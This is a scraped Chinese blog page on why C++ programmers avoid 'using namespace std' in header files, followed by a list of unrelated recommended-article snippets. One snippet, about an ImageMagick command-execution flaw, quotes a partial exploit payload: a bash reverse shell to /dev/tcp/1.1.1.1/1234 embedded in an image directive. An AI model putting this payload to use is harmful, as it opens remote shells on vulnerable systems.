C语言中的using用哪个头文件,[C++] 头文件中不要用using namespace std

先总结下:

1. using namespce std;尽量不要(或者强硬一点,不许)在头文件中使用。

解析: 不让这么用,主要原因就是防止名字重复(即自定义变量名和std中名字重复),因为头文件会被很多地方使用,你不知道这个using能覆盖多大范围。

2. 头文件最好不用,但在cpp文件中可以使用(但有比这更好的方法,之后说),但是,有个条件,必须用在所有#include之后。

解析:如果在cpp文件中使用using namespace std; 而且,若放在#include之前,那相当于用在头文件中了,你不知道头文件展开后,这个using覆盖多大的范围。所以,必须用在所有#include之后。

3.  在头文件和cpp文件中,可以使用using命令(如 using std::cout;) 来替代 using编译命令(using namespace std;)。

举例说明:

using namespace std; // 不要这样做

而应这样做

int y;

std::cin >> y ;

std::cout << y << std::endl;

或者这样做

using std::cout;

using std::cin;

int y;

cin >> y;

cout << y;

4. 当然,还有人想把using namespace std;放在自定义的命名空间中,你可以去试试。

---------------------

作者:c+

原文:https://blog.csdn.net/qnavy123/article/details/79914339

版权声明:本文为博主原创文章,转载请附上博文链接!

不要在头文件中使用 using namespace std&semi;

不要在头文件中使用(using namespace std;).   若你使用了using namespace std;,在某一头文件中,那么包含这些头文件的文件就失去了"namespace ...

一定不要在头文件中using namespace XXX

一定不要在头文件中using namespace XXX,这样会造成名字空间污染,引发ambiguous错误,又难以定位.

(转) &lbrack;C&plus;&plus;&rsqb;我再也不想在任何头文件中看到using namespace xxx这种句子了(译)

原文的传送:I don’t want to see another “using namespace xxx;” in a header file ever again 转自  http://blog ...

c&plus;&plus; inline使函数实现可以在头文件中,避免多重定义错误

作者:Jon Lee链接:https://www.zhihu.com/question/53082910/answer/133612920来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业 ...

&lbrack;C&plus;&plus;&rsqb; 头文件中的&num;ifndef,&num;define,&num;endif以及&num;pragma用法

想必很多人都看过“头文件中用到的 #ifndef/#define/#endif 来防止该头文件被重复引用”.但是是否能理解“被重复引用”是什么意思?头文件被重复引用了,会产生什么后果?是不是所有的头文 ...

cctype头文件中的一些内容

1. string 标准库 1.1初始化 string s1; 默认构造函数s1为空 string s2(s1); 将s2初始化为s1的一个副本 string s3(“value”); 将s3初始化为 ...

Effective Objective-C 2&period;0 — 第二条:类的头文件中尽量少引入其他头文件

第二条:类的头文件中尽量少引入其他头文件 使用向前声明(forward declaring) @class EOCEmployer 1, 将引入头文件的实际尽量延后,只在确有需要时才引入,这样就可以减 ...

c语言头文件中定义全局变量的问题

c语言头文件中定义全局变量的问题 (转http://www.cnblogs.com/Sorean/) 先说一下,全局变量只能定义在 函数里面,任意函数,其他函数在使用的时候用extern声明.千万不要 ...

随机推荐

opencv的学习笔记5

总结原博文中的一些边缘检测算子和滤波器.(Canny算子,  Sobel算子,  Laplace算子以及Scharr滤波器) 首先,一般的边缘检测包括三个步骤: 1)滤波:边缘检测的算法主要是基于图像 ...

MySQL执行计划解读

Explain语法 EXPLAIN SELECT …… 变体: 1. EXPLAIN EXTENDED SELECT …… 将执行计划“反编译”成SELECT语句,运行SHOW WARNINGS 可得 ...

spring-boot项目在外部tomcat环境下部署

http://m.blog.csdn.net/article/details?id=51009423

IOS中NSUserDefaults的用法(轻量级本地数据存储)

NSUserDefaults适合存储轻量级的本地数据,比如要保存一个登陆界面的数据,用户名.密码之类的,个人觉得使用NSUserDefaults是首选.下次再登陆的时候就可以直接从NSUserDefa ...

ImageMagick又一处命令执行

push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>&amp ...

Tools - Notepad&plus;&plus;

NotePad++ https://notepad-plus-plus.org/ 修改主题 依次点击设置---语言格式设置---选择主题,在显示界面中修改相关设置(背景色.前景色.字体等). 双文本横 ...

Configuring Service Broker for Asynchronous Processing

Configuring Service Broker for Asynchronous Processing --create a database and enable the database f ...

HDU 5745 La Vie en rose

La Vie en rose Time Limit: 14000/7000 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Others)T ...

Info&period;plist和pch文件的作用,UIApplication,iOS程序的启动过程,AppDelegate 方法解释,UIWindow,生命周期方法

Info.plist常见的设置 建立一个工程后,会在Supporting files文件夹下看到一个“工程名-Info.plist”的文件,该文件对工程做一些运行期的配置,非常重要,不能删除 注:在旧 ...

eclipse更改主题

长期使用eclipse,导致视觉疲劳,就想着能否换个主题调节调节. 通过设置window>preferences>appearance设置theme,貌似不起作用. 一查,发现一个绝佳的网 ...

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值